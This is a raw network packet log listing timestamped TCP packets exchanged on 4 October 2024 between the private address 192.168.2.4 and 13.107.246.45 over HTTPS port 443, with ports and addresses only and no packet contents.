Oct 4, 2024 09:53:27.166902065 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.166908979 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.166944027 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.166960001 CEST	57211	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.166976929 CEST	443	57211	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.169506073 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.169590950 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.169667959 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.169833899 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.169867992 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.173338890 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.173722982 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.173773050 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.173784018 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.173841953 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.173851967 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.173861980 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.173892975 CEST	57209	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.173892975 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.173909903 CEST	443	57209	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.176101923 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.176145077 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.176230907 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.176331997 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.176346064 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.368207932 CEST	57208	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.368262053 CEST	443	57208	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.796427011 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.796953917 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.796976089 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.797364950 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.797368050 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.806080103 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.806565046 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.806570053 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.806921005 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.806924105 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.823227882 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.823684931 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.823724031 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.824238062 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.824244976 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.827466965 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.827820063 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.827827930 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.828142881 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.828147888 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.852482080 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.853063107 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.853092909 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.853426933 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.853432894 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.904187918 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.904257059 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.904340029 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.904402018 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.904438972 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.904495955 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.904634953 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.904671907 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.904697895 CEST	57213	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.904711962 CEST	443	57213	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.907721996 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.907816887 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.907910109 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.908097029 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.908117056 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.917690992 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.917880058 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.917952061 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.917985916 CEST	57214	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.918015003 CEST	443	57214	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.921147108 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.921188116 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.921269894 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.921520948 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.921550035 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.931497097 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.931562901 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.931631088 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.931679010 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.931706905 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.931760073 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.931760073 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.931828022 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.931864977 CEST	57215	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.931881905 CEST	443	57215	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.936470032 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.936583996 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.936665058 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.936846972 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.936881065 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.939932108 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.940088034 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.940152884 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.940196037 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.940196037 CEST	57212	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.940213919 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.940236092 CEST	443	57212	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.949187040 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.949274063 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.949359894 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.949460983 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.949484110 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.961447954 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.967183113 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.967257977 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.967309952 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.967309952 CEST	57216	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.967334032 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.967355967 CEST	443	57216	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.969772100 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.969860077 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:27.969993114 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.970201015 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:27.970231056 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.732085943 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.732806921 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.732851982 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.733184099 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.733196974 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.840202093 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.840542078 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.840722084 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.840722084 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.842688084 CEST	57217	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.842719078 CEST	443	57217	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.843996048 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.844085932 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.844182968 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.844342947 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.844377041 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.910393000 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.910482883 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.910790920 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.910855055 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.911176920 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.911190987 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.911360979 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.911410093 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.911649942 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.911662102 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.917062998 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.917716980 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.917762041 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.918339014 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.918354988 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.919965029 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.920262098 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.920321941 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:28.920586109 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:28.920602083 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.016450882 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.017205954 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.017297029 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.017322063 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.017494917 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.017494917 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.017494917 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.019819975 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.019915104 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.019995928 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.020128965 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.020160913 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.029072046 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.029227972 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.029349089 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.029429913 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.029429913 CEST	57219	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.029475927 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.029505968 CEST	443	57219	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.031224012 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.031318903 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.031440020 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.031529903 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.031553030 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.032294035 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.032448053 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.032526970 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.032527924 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.032527924 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.034110069 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.034193039 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.034274101 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.034360886 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.034383059 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.061678886 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.062623024 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.062704086 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.062736988 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.062931061 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.062931061 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.062931061 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.064882994 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.064918995 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.064994097 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.065110922 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.065136909 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.321415901 CEST	57221	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.321479082 CEST	443	57221	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.336942911 CEST	57220	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.337021112 CEST	443	57220	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.368211031 CEST	57218	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.368278027 CEST	443	57218	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.498317957 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.498908997 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.498969078 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.499326944 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.499340057 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.599328041 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.600481987 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.600605011 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.600687981 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.600687981 CEST	57222	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.600733042 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.600759983 CEST	443	57222	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.603255987 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.603349924 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.603440046 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.603653908 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.603688002 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.675957918 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.676470041 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.676536083 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.677040100 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.677056074 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.688466072 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.688791990 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.688842058 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.689129114 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.689146042 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.713139057 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.713150024 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.714221001 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.714221001 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.714312077 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.714387894 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.714585066 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.714601040 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.714745045 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.714765072 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.775537014 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.775787115 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.775902033 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.775971889 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.776041985 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.776041985 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.776042938 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.778321981 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.778372049 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.778450012 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.778575897 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.778587103 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.793226957 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.793781996 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.793855906 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.794017076 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.794017076 CEST	57224	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.794059992 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.794084072 CEST	443	57224	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.795655012 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.795711040 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.795783043 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.795893908 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.795912027 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.811909914 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.812709093 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.812788010 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.812815905 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.812874079 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.812922955 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.812968969 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.812997103 CEST	57226	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.813011885 CEST	443	57226	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.814553976 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.814595938 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.814667940 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.814773083 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.814789057 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.816520929 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.816863060 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.816926956 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.816984892 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.816984892 CEST	57225	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.817002058 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.817022085 CEST	443	57225	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.818555117 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.818569899 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:29.818634033 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.818730116 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:29.818741083 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.086837053 CEST	57223	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.086920977 CEST	443	57223	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.250931025 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.251446009 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.251512051 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.251909018 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.251924992 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.353771925 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.353918076 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.353996992 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.354123116 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.354159117 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.354183912 CEST	57227	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.354197979 CEST	443	57227	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.357148886 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.357196093 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.357279062 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.357462883 CEST	57232	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.357481003 CEST	443	57232	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.423888922 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.424556971 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.424577951 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.424915075 CEST	57228	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.424921989 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.458461046 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.458980083 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.459006071 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.459283113 CEST	57230	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.459290028 CEST	443	57230	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.466644049 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.466914892 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.466948032 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.467252016 CEST	57229	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.467259884 CEST	443	57229	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.489684105 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.490243912 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.490273952 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.490696907 CEST	57231	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:30.490703106 CEST	443	57231	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.523360968 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.523539066 CEST	443	57228	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:30.523715019 CEST	57228	443	192.168.2.4	13.107.246.45
